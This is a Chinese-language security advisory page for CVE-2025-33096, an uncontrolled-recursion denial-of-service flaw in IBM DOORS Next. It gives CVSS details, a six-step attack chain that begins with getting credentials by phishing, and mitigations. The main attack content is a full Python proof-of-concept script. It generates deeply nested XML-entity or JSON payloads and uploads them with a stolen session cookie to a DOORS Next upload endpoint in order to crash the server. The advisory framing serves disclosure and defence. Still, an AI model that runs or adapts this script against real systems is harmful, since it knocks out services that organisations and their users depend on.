IPBUF安全漏洞报告
English
CVE-2025-33096 CVSS 6.5 中危

IBM Engineering Requirements Management Doors Next 拒绝服务漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-33096
漏洞类型
拒绝服务(不可控递归)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM Engineering Requirements Management Doors Next

相关标签

拒绝服务DoS不可控递归Uncontrolled RecursionIBMDOORS NextEngineering Requirements Management文件上传CVSS 6.5中危漏洞

漏洞概述

CVE-2025-33096是IBM Engineering Requirements Management Doors Next(DOORS Next)中的一个拒绝服务(DoS)漏洞。该漏洞影响DOORS Next的7.0.2、7.0.3和7.1版本。DOORS Next是IBM推出的一款企业级需求管理工具,广泛应用于系统工程、软件开发等领域,用于追踪、管理和验证复杂项目中的需求。

该漏洞由IBM PSIRT(产品安全事件响应团队)发现并报告。根据CVSS 3.1评分体系,该漏洞评分为6.5分,属于中危级别。攻击者需要拥有有效的低权限认证凭据才能利用此漏洞,且无需用户交互即可通过网络远程触发。

漏洞的根本原因在于DOORS Next在处理用户上传文件时缺乏对递归深度的有效控制。当经过认证的合法用户上传经过特殊构造的文件时,应用程序在解析或处理该文件的过程中会进入不可控的递归调用状态,导致系统资源(如CPU、内存、栈空间)被大量消耗,最终使服务不可用。由于可用性影响为高(Availability: High),成功利用此漏洞将导致目标系统完全瘫痪,受影响用户无法正常使用DOORS Next的需求管理功能。

尽管此漏洞需要认证才能利用,且不涉及数据泄露或完整性破坏,但对于依赖DOORS Next进行关键业务流程的企业而言,服务中断仍可能造成严重的业务影响和经济损失。

技术细节

该漏洞的核心技术原理是应用程序在处理用户上传文件时存在不可控递归(Uncontrolled Recursion)缺陷。具体而言,DOORS Next在解析某些特定格式的上传文件(如包含嵌套引用、自引用结构或深层递归定义的文档格式)时,会反复调用自身的解析逻辑而无法正确终止。

从技术实现角度看,攻击者可以构造包含以下特征的文件来触发漏洞:
1. 深层嵌套的XML/JSON结构,实体引用形成递归循环;
2. 包含自引用宏或脚本的文档文件(如OOXML格式的需求文档);
3. 利用需求管理工具支持的模块导入/链接功能,创建循环依赖关系。

当应用程序解析这些文件时,每一次递归调用都会消耗一定的栈空间和系统资源。由于缺乏递归深度限制检查,递归深度会持续增加直至耗尽系统栈空间,触发StackOverflow异常或导致进程崩溃。由于该操作在服务器端执行,会直接导致Web应用服务不可用,所有依赖该服务的用户均无法访问系统。

利用条件方面,攻击者只需拥有一个有效的DOORS Next低权限账户(PR:L),通过网络(AV:N)上传恶意构造的文件即可触发,无需复杂的攻击工具或特殊权限。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过钓鱼、社会工程或其他方式获取DOORS Next的有效低权限用户账户凭据。由于该漏洞需要认证(PR:L),未认证的匿名用户无法直接利用此漏洞。
STEP 2
步骤2:登录目标系统
使用获取的凭据登录目标组织的IBM DOORS Next实例,建立有效的会话(JSESSIONID),并确认账户具有文件上传权限。
STEP 3
步骤3:构造恶意文件
根据目标系统支持的文件格式,构造包含深层递归结构或自引用的特殊文件。常见方式包括:创建包含大量嵌套实体引用的XML文件、包含循环引用的文档文件,或利用系统支持的模块/链接功能创建循环依赖。
STEP 4
步骤4:上传恶意文件
通过DOORS Next的文件上传接口(如工件上传、附件上传、需求导入等功能端点)将构造的恶意文件上传至服务器。
STEP 5
步骤5:触发不可控递归
当服务器端应用程序尝试解析或处理上传的恶意文件时,进入不可控的递归调用状态,不断消耗栈空间和系统资源,最终导致进程崩溃或服务不可用。
STEP 6
步骤6:拒绝服务生效
DOORS Next服务完全瘫痪,所有依赖该服务的合法用户无法访问需求管理功能,业务流程被迫中断。攻击者可重复此过程以维持服务不可用状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-33096 PoC - Uncontrolled Recursion DoS via File Upload # Target: IBM Engineering Requirements Management Doors Next 7.0.2/7.0.3/7.1 # Description: Generates a crafted file with deep recursive nesting that # triggers uncontrolled recursion when parsed by the vulnerable application. import requests import argparse def generate_recursive_xml(depth=10000): """Generate an XML file with deeply nested entities to trigger recursion.""" xml_content = '<?xml version="1.0" encoding="UTF-8"?>\n' xml_content += '<!DOCTYPE root [\n' # Define recursive entity references for i in range(depth): xml_content += f' <!ENTITY entity{i} "entity{i-1}">\n' if i > 0 else ' <!ENTITY entity0 "recursive_content">\n' xml_content += ']>\n' xml_content += '<root>&entity{};</root>'.format(depth - 1) return xml_content def generate_recursive_json(depth=10000): """Generate a JSON file with deeply nested objects.""" json_content = '{"data":' for _ in range(depth): json_content += '{"child":' json_content += '"leaf"' for _ in range(depth): json_content += '}' json_content += '}' return json_content def upload_payload(target_url, file_content, filename, session_cookie): """Upload the crafted file to the vulnerable DOORS Next endpoint.""" headers = { 'Cookie': f'JSESSIONID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (compatible; PoC)' } files = { 'file': (filename, file_content, 'application/octet-stream') } # Typical DOORS Next artifact upload endpoint upload_endpoint = f'{target_url}/rm/upload' try: response = requests.post(upload_endpoint, headers=headers, files=files, timeout=30) print(f'[+] Upload response status: {response.status_code}') if response.status_code == 500 or 'error' in response.text.lower(): print('[+] Server may have crashed due to uncontrolled recursion!') except requests.exceptions.RequestException as e: print(f'[+] Request failed (server may be down): {e}') if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-33096 PoC') parser.add_argument('-u', '--url', required=True, help='Target DOORS Next URL') parser.add_argument('-c', '--cookie', required=True, help='Session cookie (JSESSIONID)') parser.add_argument('-d', '--depth', type=int, default=10000, help='Recursion depth') parser.add_argument('-t', '--type', choices=['xml', 'json'], default='xml', help='Payload type') args = parser.parse_args() if args.type == 'xml': payload = generate_recursive_xml(args.depth) filename = 'malicious_recursive.xml' else: payload = generate_recursive_json(args.depth) filename = 'malicious_recursive.json' print(f'[*] Generated payload with recursion depth: {args.depth}') upload_payload(args.url, payload, filename, args.cookie)

影响范围

IBM Engineering Requirements Management Doors Next 7.0.2
IBM Engineering Requirements Management Doors Next 7.0.3
IBM Engineering Requirements Management Doors Next 7.1

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查并限制可上传文件的用户权限,仅允许可信用户上传文件;2)在文件上传处理流程中添加递归深度检测逻辑,对疑似恶意文件进行拦截;3)配置服务器资源限制(如JVM栈大小),防止单个请求耗尽系统资源;4)部署网络监控,及时发现异常的服务器资源消耗和服务中断事件;5)考虑在反向代理层面限制上传文件的大小和类型;6)密切监控IBM官方的安全公告,及时获取补丁信息并安排升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表